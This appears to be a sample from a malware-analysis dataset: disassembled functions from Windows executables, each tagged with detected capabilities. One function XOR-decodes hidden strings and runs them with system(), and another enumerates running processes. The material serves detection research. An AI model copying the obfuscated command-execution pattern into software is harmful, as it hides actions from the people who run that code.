joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100075150
Capabilities:
Terminate process

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], r12
push r13
sub rsp, 0xb0
xor ebx, ebx
mov dword [rsp + 0x20], ebx
lea rcx, [rax - 0x78]
call qword [sym.imp.API_MS_Win_Core_ProcessThreads_L1_1_0.dll_GetStartupInfoW]
nop
mov rax, qword gs:[0x30]
mov rdi, qword [rax + 8]
mov r12d, ebx
xor eax, eax
lock cmpxchg qword [0x100080558], rdi
je 0x1000751b0
cmp rax, rdi
jne 0x1000751a3
mov r12d, 1
jmp 0x1000751b0
mov ecx, 0x3e8
call qword [sym.imp.API_MS_Win_Core_Misc_L1_1_0.dll_Sleep]
jmp 0x100075189
mov eax, dword [0x100080550]
cmp eax, 1
jne 0x1000751c5
lea ecx, [rax + 0x1e]
call sub.msvcrt.dll__amsg_exit
jmp 0x10007522c
mov eax, dword [0x100080550]
cmp eax, ebx
jne 0x100075222
mov dword [0x100080550], 1
lea r13, [0x100001b48]
lea rdi, [0x100001b30]
mov qword [rsp + 0x30], rdi
mov eax, ebx
mov dword [rsp + 0x24], ebx
cmp rdi, r13
jae 0x100075214
cmp eax, ebx
jne 0x100075214
mov rcx, qword [rdi]
cmp rcx, rbx
je 0x100075209
call rcx
mov dword [rsp + 0x24], eax
add rdi, 8
mov qword [rsp + 0x30], rdi
jmp 0x1000751f2
cmp eax, ebx
je 0x10007522c
mov eax, 0xff
jmp 0x100075374
mov dword [0x10007f924], 1
mov eax, dword [0x100080550]
cmp eax, 1
jne 0x100075254
lea rdx, [0x100001b28]
lea rcx, [0x100001ab8]
call sub.msvcrt.dll__initterm
mov dword [0x100080550], 2
cmp r12d, ebx
jne 0x100075263
mov rax, rbx
xchg qword [0x100080558], rax
cmp qword [0x100080570], rbx
je 0x10007528b
lea rcx, [0x100080570]
call fcn.1000756ac
cmp eax, ebx
je 0x10007528b
xor r8d, r8d
lea edx, [r8 + 2]
xor ecx, ecx
call qword [0x100080570]
mov rcx, qword [sym.imp.msvcrt.dll__wcmdln]
cmp qword [rcx], rbx
jne 0x1000752a1
mov eax, 0xff
jmp 0x100075374
mov rcx, qword [rcx]
mov qword [rsp + 0x28], rcx
mov edx, dword [rsp + 0x20]
cmp word [rcx], 0x20
ja 0x100075326
cmp word [rcx], bx
je 0x1000752bc
cmp edx, ebx
jne 0x100075326
cmp word [rcx], bx
je 0x1000752d2
cmp word [rcx], 0x20
ja 0x1000752d2
add rcx, 2
mov qword [rsp + 0x28], rcx
jmp 0x1000752bc
test byte [rsp + 0x7c], 1
movzx eax, word [rsp + 0x80]
mov r9d, 0xa
cmovne r9d, eax
mov r8, rcx
xor edx, edx
lea rcx, [0x100000000]
call fcn.1000337b8
mov dword [0x10007f920], eax
cmp dword [0x10007f904], ebx
jne 0x100075310
mov ecx, eax
call qword [sym.imp.msvcrt.dll_exit]
cmp dword [0x10007f924], ebx
jne 0x100075324
call qword [sym.imp.msvcrt.dll__cexit]
mov eax, dword [0x10007f920]
jmp 0x100075374
cmp word [rcx], 0x22
jne 0x100075339
mov eax, ebx
cmp edx, ebx
sete al
mov edx, eax
mov dword [rsp + 0x20], eax
add rcx, 2
mov qword [rsp + 0x28], rcx
jmp 0x1000752ad
lea r11, [rsp + 0xb0]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x18]
mov r12, qword [r11 + 0x20]
mov rsp, r11
pop r13
ret
sub rsp, 0x28
call fcn.10020d000
add rsp, 0x28
jmp 0x100075150
Function at 0x1400125b8
Capabilities:
Hash data with crc32

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
not r8d
mov r10, rcx
mov r9d, r8d
test rdx, rdx
je 0x140012612
mov r11b, 0x23
lea rbx, [0x140104350]
movzx edi, byte [r10]
dec rdx
inc r10
cmp dil, r11b
jne 0x1400125fc
cmp rdx, 2
jb 0x1400125fc
cmp byte [r10], r11b
jne 0x1400125fc
cmp byte [r10 + 1], r11b
cmove r9d, r8d
movzx ecx, r9b
xor rcx, rdi
shr r9d, 8
xor r9d, dword [rbx + rcx*4]
test rdx, rdx
jne 0x1400125da
jmp 0x140012653
mov dl, byte [rcx]
inc r10
test dl, dl
je 0x140012653
mov r11b, 0x23
lea rbx, [0x140104350]
cmp dl, r11b
jne 0x140012637
cmp byte [r10], r11b
jne 0x140012637
cmp byte [r10 + 1], r11b
cmove r9d, r8d
movzx ecx, r9b
movzx eax, dl
mov dl, byte [r10]
xor rcx, rax
shr r9d, 8
inc r10
xor r9d, dword [rbx + rcx*4]
test dl, dl
jne 0x140012625
mov rbx, qword [rsp + 8]
not r9d
mov rdi, qword [rsp + 0x10]
mov eax, r9d
ret

Function at 0x140012788
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov rsi, r8
test r8, r8
je 0x1400127a8
and qword [r8], 0
lea rdx, [0x140103dc8]
call fcn.140012664
mov rbx, rax
test rax, rax
je 0x140012899
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
mov ebp, eax
cmp eax, 0xffffffff
je 0x140012890
xor edx, edx
mov rcx, rbx
lea r8d, [rdx + 2]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
test eax, eax
jne 0x140012890
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
movsxd rdi, eax
cmp edi, 0xffffffff
je 0x140012890
xor r8d, r8d
mov edx, ebp
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
test eax, eax
jne 0x140012890
mov rbp, rdi
cmp rdi, 0xffffffffffffffff
je 0x140012890
mov rax, qword [0x14015be30]
test rax, rax
je 0x14001282d
inc dword [rax + 0x3b0]
mov rcx, rbp
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rdi, rax
test rax, rax
je 0x140012890
mov r9, rbx
mov r8, rbp
mov edx, 1
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
mov rcx, rbx
cmp rax, rbp
je 0x14001287d
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov rax, qword [0x14015be30]
test rax, rax
je 0x140012872
dec dword [rax + 0x3b0]
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
jmp 0x140012899
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
test rsi, rsi
je 0x14001288b
mov qword [rsi], rbp
mov rax, rdi
jmp 0x14001289b
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
xor eax, eax
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x140014558
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
mov dword [rsp + 0x10], edx
sub rsp, 0x28
movsxd rdx, dword [rcx + 0x108]
mov r9d, 4
mov rax, qword [rcx + 0x110]
mov r8d, dword [rax + rdx*4 - 4]
lea rdx, [rsp + 0x38]
not r8d
movzx eax, byte [rdx]
inc rdx
movzx ecx, r8b
xor rcx, rax
shr r8d, 8
lea rax, [0x140104350]
xor r8d, dword [rax + rcx*4]
sub r9, 1
jne 0x140014581
not r8d
mov ecx, r8d
call fcn.1400146b8
mov eax, r8d
add rsp, 0x28
ret

Function at 0x14001e5dc
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
sub rsp, 0x38
mov rax, qword [0x14015b040]
xor rax, rsp
mov qword [rsp + 0x28], rax
mov rax, qword [0x14015be30]
mov r10d, 4
mov dword [rsp + 0x20], ecx
mov r9, qword [rax + 0x1b90]
movsxd rcx, dword [r9 + 0x108]
mov rax, qword [r9 + 0x110]
mov r8d, dword [rax + rcx*4 - 4]
lea rcx, [rsp + 0x20]
not r8d
movzx eax, byte [rcx]
inc rcx
movzx edx, r8b
xor rdx, rax
shr r8d, 8
lea rax, [0x140104350]
xor r8d, dword [rax + rdx*4]
sub r10, 1
jne 0x14001e622
not r8d
lea rdx, [rsp + 0x20]
lea rcx, [r9 + 0x108]
mov dword [rsp + 0x20], r8d
call fcn.14002c710
mov rcx, qword [rsp + 0x28]
xor rcx, rsp
call fcn.1400ff3d0
add rsp, 0x38
ret

Function at 0x14002334c
Capabilities:
Write file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rcx
mov qword [rax + 0x10], rdx
mov qword [rax + 0x18], r8
mov qword [rax + 0x20], r9
push rbx
push rbp
push rdi
sub rsp, 0x20
mov rbx, qword [0x14015be30]
cmp byte [rbx + 0x3000], 0
je 0x14002340d
cmp qword [rbx + 0x3008], 0
lea rbp, [rax + 0x10]
lea rdi, [rbx + 0x3010]
je 0x1400233ff
mov r9d, dword [rdi + 4]
test r9d, r9d
jns 0x1400233b7
mov eax, r9d
mov rcx, rdi
cdq
sub eax, edx
xor edx, edx
sar eax, 1
add eax, r9d
test eax, eax
cmovg edx, eax
call fcn.14002ca50
mov rcx, qword [rsp + 0x40]
and dword [rdi], 0
mov rdx, rcx
mov rcx, rdi
mov r8, rbp
call fcn.140012ca4
mov eax, dword [rdi]
mov edx, 1
mov r9, qword [rbx + 0x3008]
lea ecx, [rax - 1]
neg eax
sbb eax, eax
and eax, ecx
lea rcx, [0x14015be28]
movsxd r8, eax
mov rax, qword [rbx + 0x3018]
test rax, rax
cmovne rcx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
jmp 0x14002340d
mov rdx, rcx
mov r8, rbp
mov rcx, rdi
call fcn.140012ca4
add rsp, 0x20
pop rdi
pop rbp
pop rbx
ret

Function at 0x140023a68
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x20
mov rax, qword [0x14015be30]
mov rbx, rcx
and dword [rax + 0x2fbc], 0
test rcx, rcx
je 0x140023ad1
and qword [rsp + 0x30], 0
lea rcx, [rsp + 0x30]
call fcn.140023adc
lea rdx, [0x140103dcc]
mov rcx, rbx
mov rdi, rax
call fcn.140012664
mov rbx, rax
test rax, rax
je 0x140023ad1
mov r8, qword [rsp + 0x30]
mov r9, rax
mov edx, 1
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov rbx, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
Function at 0x140044910
Capabilities:
Encode data using xor

Disassembly:
mov edx, dword [rcx]
lea rax, [rcx + 4]
xor r8d, r8d
mov r9, rcx
test edx, edx
je 0x140044933
lea ecx, [r8 - 0x1b]
xor byte [r8 + rax], cl
inc r8d
mov edx, dword [r9]
cmp r8d, edx
jb 0x140044920
mov ecx, edx
mov byte [rcx + rax], 0
ret
Function at 0x14005e638
Capabilities:
Encode data using xor
Execute command

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x70
movdqa xmm0, xmmword [0x140152f20]
xor edx, edx
movdqa xmm1, xmmword [0x140152680]
mov eax, 0x35
mov dword [rbp - 0x50], eax
mov dword [rbp - 0x1c], 0x37376274
mov dword [rbp - 0x18], 0x1a7f
movdqu xmmword [rbp - 0x4c], xmm0
movdqa xmm0, xmmword [0x140152c30]
movdqu xmmword [rbp - 0x2c], xmm0
movdqu xmmword [rbp - 0x3c], xmm1
test eax, eax
je 0x14005e694
lea eax, [rdx - 0x1b]
xor byte [rbp + rdx - 0x4c], al
inc edx
mov eax, dword [rbp - 0x50]
cmp edx, eax
jb 0x14005e684
lea rcx, [rbp - 0x4c]
mov byte [rbp + rax - 0x4c], 0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x140152c40]
xor edx, edx
movdqa xmm1, xmmword [0x140152c80]
mov eax, 0x3e
movdqa xmmword [rbp - 0x40], xmm0
movdqa xmm0, xmmword [str.bNVufoVvmsXtx]
movdqa xmmword [rbp - 0x20], xmm0
mov dword [rbp - 0x50], eax
mov dword [rbp - 0x4c], 0xc8808397
mov dword [rbp - 0x48], 0x89878f8d
mov dword [rbp - 0x44], 0xb8cf8b99
movdqa xmmword [rbp - 0x30], xmm1
mov dword [rbp - 0x10], 0x23440e
test eax, eax
je 0x14005e704
lea eax, [rdx - 0x1b]
xor byte [rbp + rdx - 0x4c], al
inc edx
mov eax, dword [rbp - 0x50]
cmp edx, eax
jb 0x14005e6f4
lea rcx, [rbp - 0x4c]
mov byte [rbp + rax - 0x4c], 0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x140152c40]
xor edx, edx
movdqa xmm1, xmmword [0x140152c80]
mov eax, 0x3a
movdqa xmmword [rbp - 0x40], xmm0
movdqa xmm0, xmmword [str.bNQQFsenpy_2x]
movdqa xmmword [rbp - 0x20], xmm0
mov dword [rbp - 0x50], eax
mov dword [rbp - 0x4c], 0xc8808397
mov dword [rbp - 0x48], 0x89878f8d
mov dword [rbp - 0x44], 0xb8cf8b99
movdqa xmmword [rbp - 0x30], xmm1
test eax, eax
je 0x14005e76d
lea eax, [rdx - 0x1b]
xor byte [rbp + rdx - 0x4c], al
inc edx
mov eax, dword [rbp - 0x50]
cmp edx, eax
jb 0x14005e75d
lea rcx, [rbp - 0x4c]
mov byte [rbp + rax - 0x4c], 0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
add rsp, 0x70
pop rbp
ret

Function at 0x14005e784
Capabilities:
Get session user name

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x250
mov rax, qword [0x14015b040]
xor rax, rsp
mov qword [rsp + 0x240], rax
mov qword [rsp + 0x28], rcx
lea rdx, [rsp + 0x28]
mov rbx, rcx
mov dword [rsp + 0x28], 0x101
lea rcx, [rsp + 0x30]
xor edi, edi
call qword [sym.imp.ADVAPI32.dll_GetUserNameW]
xorps xmm0, xmm0
lea rax, [rsp + 0x30]
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], rdi
or r8, 0xffffffffffffffff
mov qword [rbx + 0x18], rdi
inc r8
cmp word [rax + r8*2], di
jne 0x14005e7dc
lea rdx, [rsp + 0x30]
mov rcx, rbx
call fcn.1400f8b0c
mov rax, rbx
mov rcx, qword [rsp + 0x240]
xor rcx, rsp
call fcn.1400ff3d0
mov rbx, qword [rsp + 0x268]
add rsp, 0x250
pop rdi
ret
Function at 0x1400f70b4
Capabilities:
Encode data using xor

Disassembly:
mov edx, dword [rcx]
lea rax, [rcx + 4]
xor r11d, r11d
mov r9, rcx
mov r8d, r11d
test edx, edx
je 0x1400f70e1
mov edx, r8d
mov ecx, 0xe5
add ecx, r8d
inc r8d
xor word [rax + rdx*2], cx
mov edx, dword [r9]
cmp r8d, edx
jb 0x1400f70c7
mov ecx, edx
mov word [rax + rcx*2], r11w
ret
Function at 0x1400f870c
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r14
push r15
sub rsp, 0x40
mov rbx, r8
mov rsi, rdx
mov rbp, rcx
mov rdx, r8
cmp qword [r8 + 0x18], 0xf
jbe 0x1400f8731
mov rdx, qword [r8]
xor ecx, ecx
movabs r14, 0xcbf29ce484222325
cmp qword [r8 + 0x10], rcx
jbe 0x1400f8761
movzx eax, byte [rdx + rcx]
xor r14, rax
movabs r8, 0x100000001b3
imul r14, r8
inc rcx
cmp rcx, qword [rbx + 0x10]
jb 0x1400f8743
mov r9, r14
mov r8, rbx
lea rdx, [rsp + 0x20]
mov rcx, rbp
call fcn.1400f8664
mov rax, qword [rsp + 0x28]
test rax, rax
je 0x1400f878a
mov qword [rsi], rax
mov byte [rsi + 8], 0
jmp 0x1400f894d
movabs rax, 0x333333333333333
cmp qword [rbp + 0x10], rax
jne 0x1400f87a8
lea rcx, str.unordered_map_set_too_long
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Xlength_error_char_const____ptr64_]
int3
lea r12, [rbp + 8]
mov qword [rsp + 0x30], r12
and qword [rsp + 0x38], 0
mov ecx, 0x50
call fcn.1400ffa1c
mov rdi, rax
mov qword [rsp + 0x38], rax
mov rdx, rbx
lea rcx, [rax + 0x10]
call fcn.1400f7c78
xorps xmm0, xmm0
movups xmmword [rdi + 0x30], xmm0
and qword [rdi + 0x40], 0
and qword [rdi + 0x48], 0
movups xmm0, xmmword [rbx + 0x20]
movups xmmword [rdi + 0x30], xmm0
movups xmm1, xmmword [rbx + 0x30]
movups xmmword [rdi + 0x40], xmm1
and qword [rbx + 0x30], 0
mov qword [rbx + 0x38], 0xf
mov byte [rbx + 0x20], 0
mov rcx, qword [rbp + 0x10]
add rcx, 1
xorps xmm0, xmm0
js 0x1400f881b
cvtsi2ss xmm0, rcx
jmp 0x1400f8830
mov rax, rcx
shr rax, 1
and ecx, 1
or rax, rcx
cvtsi2ss xmm0, rax
addss xmm0, xmm0
mov rbx, qword [rbp + 0x38]
xorps xmm2, xmm2
test rbx, rbx
js 0x1400f8843
cvtsi2ss xmm2, rbx
jmp 0x1400f885b
mov rcx, rbx
shr rcx, 1
mov rax, rbx
and eax, 1
or rcx, rax
cvtsi2ss xmm2, rcx
addss xmm2, xmm2
movaps xmm1, xmm0
divss xmm1, xmm2
comiss xmm1, dword [rbp]
seta al
test al, al
je 0x1400f88f6
divss xmm0, dword [rbp]
call sub.api_ms_win_crt_math_l1_1_0.dll_ceilf
xor ecx, ecx
movss xmm1, dword [0x1401523d4]
comiss xmm0, xmm1
jb 0x1400f88a0
subss xmm0, xmm1
comiss xmm0, xmm1
jae 0x1400f88a0
movabs rax, 0x8000000000000000
mov rcx, rax
cvttss2si rax, xmm0
add rax, rcx
mov ecx, 8
cmp rax, rcx
cmova rcx, rax
cmp rbx, rcx
jae 0x1400f88ce
cmp rbx, 0x200
jae 0x1400f88cb
shl rbx, 3
cmp rbx, rcx
jae 0x1400f88ce
mov rbx, rcx
mov rdx, rbx
mov rcx, rbp
call fcn.1400f9000
mov r9, r14
lea r8, [rdi + 0x10]
lea rdx, [rsp + 0x30]
mov rcx, rbp
call fcn.1400f8664
movups xmm0, xmmword [rax]
movdqu xmmword [rsp + 0x20], xmm0
mov rdx, qword [rsp + 0x20]
mov r8, qword [rdx + 8]
inc qword [rbp + 0x10]
mov qword [rdi], rdx
mov qword [rdi + 8], r8
mov qword [r8], rdi
mov qword [rdx + 8], rdi
mov rcx, qword [rbp + 0x18]
mov rax, qword [rbp + 0x30]
and rax, r14
add rax, rax
mov r9, qword [rcx + rax*8]
cmp r9, qword [r12]
jne 0x1400f892f
mov qword [rcx + rax*8], rdi
jmp 0x1400f8941
cmp r9, rdx
jne 0x1400f893a
mov qword [rcx + rax*8], rdi
jmp 0x1400f8946
cmp qword [rcx + rax*8 + 8], r8
jne 0x1400f8946
mov qword [rcx + rax*8 + 8], rdi
mov qword [rsi], rdi
mov byte [rsi + 8], 1
mov rax, rsi
add rsp, 0x40
pop r15
pop r14
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x1400f9000
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x30
movabs rax, 0xfffffffffffffff
mov qword [rsp + 0x20], rcx
mov rsi, rcx
bsr rcx, rax
mov eax, 1
shl rax, cl
cmp rdx, rax
jbe 0x1400f9045
lea rcx, str.invalid_hash_bucket_count
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Xlength_error_char_const____ptr64_]
int3
mov rbp, qword [rsi + 8]
lea rax, [rdx - 1]
or rax, 1
lea r12, [rsi + 0x18]
bsr rcx, rax
mov ebx, 1
mov r8, rbp
inc ecx
shl rbx, cl
mov rcx, r12
lea rdx, [rbx + rbx]
call fcn.1400f7fdc
lea rax, [rbx - 1]
mov qword [rsi + 0x38], rbx
mov qword [rsi + 0x30], rax
mov rbx, qword [rsi + 8]
mov rbx, qword [rbx]
mov rdi, rbx
cmp rbx, rbp
je 0x1400f91dc
mov rdi, qword [rdi]
lea r14, [rbx + 0x10]
mov rax, qword [r14 + 0x18]
mov r8, r14
mov r13, qword [r14 + 0x10]
cmp rax, 0xf
jbe 0x1400f90ac
mov r8, qword [r14]
xor edx, edx
movabs rcx, 0xcbf29ce484222325
test r13, r13
je 0x1400f90df
movzx eax, byte [r8 + rdx]
movabs r9, 0x100000001b3
xor rcx, rax
inc rdx
imul rcx, r9
cmp rdx, r13
jb 0x1400f90bd
mov rax, qword [r14 + 0x18]
mov r15, qword [rsi + 0x30]
mov r12, qword [r12]
and r15, rcx
add r15, r15
cmp qword [r12 + r15*8], rbp
jne 0x1400f9101
mov qword [r12 + r15*8], rbx
mov qword [r12 + r15*8 + 8], rbx
jmp 0x1400f91cc
mov rsi, qword [r12 + r15*8 + 8]
lea rdx, [rsi + 0x10]
cmp qword [rdx + 0x18], 0xf
mov r8, qword [rdx + 0x10]
jbe 0x1400f9118
mov rdx, qword [rdx]
mov rcx, r14
cmp rax, 0xf
jbe 0x1400f9124
mov rcx, qword [r14]
cmp r13, r8
jne 0x1400f919c
mov r8, r13
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x1400f9198
mov r8, qword [rsi]
cmp r8, rbx
je 0x1400f915e
mov rdx, qword [rbx + 8]
mov qword [rdx], rdi
mov rcx, qword [rdi + 8]
mov qword [rcx], r8
mov rax, qword [r8 + 8]
mov qword [rax], rbx
mov qword [r8 + 8], rcx
mov qword [rdi + 8], rdx
mov qword [rbx + 8], rax
mov qword [r12 + r15*8 + 8], rbx
jmp 0x1400f91c7
mov rsi, qword [rsi + 8]
lea rdx, [rsi + 0x10]
cmp qword [rdx + 0x18], 0xf
mov r8, qword [rdx + 0x10]
jbe 0x1400f917b
mov rdx, qword [rdx]
mov rcx, r14
cmp rax, 0xf
jbe 0x1400f9187
mov rcx, qword [r14]
cmp r13, r8
jne 0x1400f919c
mov r8, r13
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x1400f9204
mov rax, qword [r14 + 0x18]
cmp qword [r12 + r15*8], rsi
jne 0x1400f9165
mov rdx, qword [rbx + 8]
mov qword [rdx], rdi
mov rcx, qword [rdi + 8]
mov qword [rcx], rsi
mov rax, qword [rsi + 8]
mov qword [rax], rbx
mov qword [rsi + 8], rcx
mov qword [rdi + 8], rdx
mov qword [rbx + 8], rax
mov qword [r12 + r15*8], rbx
mov rsi, qword [rsp + 0x20]
lea r12, [rsi + 0x18]
mov rbx, rdi
cmp rdi, rbp
jne 0x1400f9091
and qword [rsp + 0x20], 0
lea rcx, [rsp + 0x20]
call fcn.1400f922c
mov rbx, qword [rsp + 0x80]
add rsp, 0x30
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
mov r8, qword [rsi]
mov rdx, qword [rbx + 8]
mov qword [rdx], rdi
mov rcx, qword [rdi + 8]
mov qword [rcx], r8
mov rax, qword [r8 + 8]
mov qword [rax], rbx
mov qword [r8 + 8], rcx
mov qword [rdi + 8], rdx
mov qword [rbx + 8], rax
jmp 0x1400f91c7
Function at 0x1400f9300
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x40
mov r14, rdx
mov qword [rsp + 0x20], rcx
mov rbp, r8
mov rdx, rcx
cmp r14, r8
je 0x1400f94a0
mov rax, qword [rcx + 8]
mov rsi, r14
mov r12, qword [rcx + 0x18]
lea rcx, [r14 + 0x10]
cmp qword [rcx + 0x18], 0xf
mov r15, qword [r14 + 8]
mov r10, qword [rcx + 0x10]
mov qword [rsp + 0x30], rax
jbe 0x1400f9359
mov rcx, qword [rcx]
xor r8d, r8d
movabs r9, 0xcbf29ce484222325
movabs r11, 0x100000001b3
test r10, r10
je 0x1400f9389
movzx eax, byte [rcx + r8]
inc r8
xor r9, rax
imul r9, r11
cmp r8, r10
jb 0x1400f9375
mov r13, qword [rdx + 0x30]
and r13, r9
add r13, r13
mov rax, qword [r12 + r13*8]
mov qword [rsp + 0x28], rax
mov rax, qword [r12 + r13*8 + 8]
mov qword [rsp + 0x38], rax
mov rbx, rsi
mov rdi, rsi
mov rsi, qword [rsi]
lea rcx, [rbx + 0x10]
call fcn.14006350c
mov edx, 0x50
mov rcx, rbx
call fcn.1400ff4c0
mov rdx, qword [rsp + 0x20]
dec qword [rdx + 0x10]
cmp rbx, qword [rsp + 0x38]
je 0x1400f93ee
cmp rsi, rbp
jne 0x1400f93a6
cmp qword [rsp + 0x28], r14
jne 0x1400f9499
mov qword [r12 + r13*8], rsi
jmp 0x1400f9499
cmp qword [rsp + 0x28], r14
jne 0x1400f9403
mov r8, qword [rsp + 0x30]
mov qword [r12 + r13*8], r8
mov rax, r8
jmp 0x1400f9406
mov rax, r15
mov qword [r12 + r13*8 + 8], rax
jmp 0x1400f94cf
lea rcx, [rsi + 0x10]
cmp qword [rcx + 0x18], 0xf
mov r9, qword [rcx + 0x10]
jbe 0x1400f9422
mov rcx, qword [rcx]
xor r8d, r8d
movabs r14, 0xcbf29ce484222325
test r9, r9
je 0x1400f9457
movabs rdx, 0x100000001b3
movzx eax, byte [r8 + rcx]
inc r8
xor r14, rax
imul r14, rdx
cmp r8, r9
jb 0x1400f943e
mov rdx, qword [rsp + 0x20]
and r14, qword [rdx + 0x30]
add r14, r14
mov r13, qword [r12 + r14*8 + 8]
mov rbx, rsi
mov rdi, rsi
mov rsi, qword [rsi]
lea rcx, [rbx + 0x10]
call fcn.14006350c
mov edx, 0x50
mov rcx, rbx
call fcn.1400ff4c0
mov rdx, qword [rsp + 0x20]
dec qword [rdx + 0x10]
cmp rbx, r13
je 0x1400f94c1
cmp rsi, rbp
jne 0x1400f9463
mov qword [r12 + r14*8], rsi
mov qword [r15], rsi
mov qword [rsi + 8], r15
lea r11, [rsp + 0x40]
mov rax, rbp
mov rbx, qword [r11 + 0x38]
mov rbp, qword [r11 + 0x40]
mov rsi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
mov rax, qword [rsp + 0x30]
mov qword [r12 + r14*8], rax
mov qword [r12 + r14*8 + 8], rax
cmp rsi, rbp
jne 0x1400f9410
jmp 0x1400f9499
Function at 0x1400fbac8
Capabilities:
Get system information on windows
Make suspicious ntquerysysteminformation call

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rbp
push rdi
push r14
mov rbp, rsp
sub rsp, 0x50
mov rax, qword [0x14015b040]
xor rax, rsp
mov qword [rbp - 8], rax
xor ebx, ebx
lea r9, [rbp - 0x30]
and dword [rbp - 0x30], ebx
mov r14, rcx
xor r8d, r8d
xor edx, edx
lea edi, [rbx + 0xb]
mov ecx, edi
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
mov esi, 0xc0000004
jmp 0x1400fbb4a
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov edx, dword [rbp - 0x30]
xor ecx, ecx
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8d, dword [rbp - 0x30]
lea r9, [rbp - 0x30]
mov rdx, rax
mov ecx, edi
mov rbx, rax
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, esi
je 0x1400fbb0e
test eax, eax
js 0x1400fbc0a
xor edi, edi
cmp dword [rbx], edi
jbe 0x1400fbc0a
and qword [rbp - 0x18], 0
xorps xmm0, xmm0
and qword [rbp - 0x10], 0
mov eax, edi
imul rsi, rax, 0x128
movups xmmword [rbp - 0x28], xmm0
movzx edx, word [rsi + rbx + 0x2e]
add rdx, 0x30
add rdx, rsi
add rdx, rbx
or r8, 0xffffffffffffffff
inc r8
cmp byte [rdx + r8], 0
jne 0x1400fbb8d
lea rcx, [rbp - 0x28]
call fcn.140045328
cmp qword [r14 + 0x18], 0xf
mov rdx, r14
jbe 0x1400fbbad
mov rdx, qword [r14]
cmp qword [rbp - 0x10], 0xf
lea rcx, [rbp - 0x28]
cmova rcx, qword [rbp - 0x28]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
test eax, eax
je 0x1400fbc3e
mov rdx, qword [rbp - 0x10]
cmp rdx, 0xf
jbe 0x1400fbc00
mov rcx, qword [rbp - 0x28]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400fbbfb
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400fbc86
call fcn.1400ff4c0
inc edi
cmp edi, dword [rbx]
jb 0x1400fbb60
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor eax, eax
mov rcx, qword [rbp - 8]
xor rcx, rsp
call fcn.1400ff3d0
lea r11, [rsp + 0x50]
mov rbx, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rsp, r11
pop r14
pop rdi
pop rbp
ret
mov rdi, qword [rsi + rbx + 0x18]
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
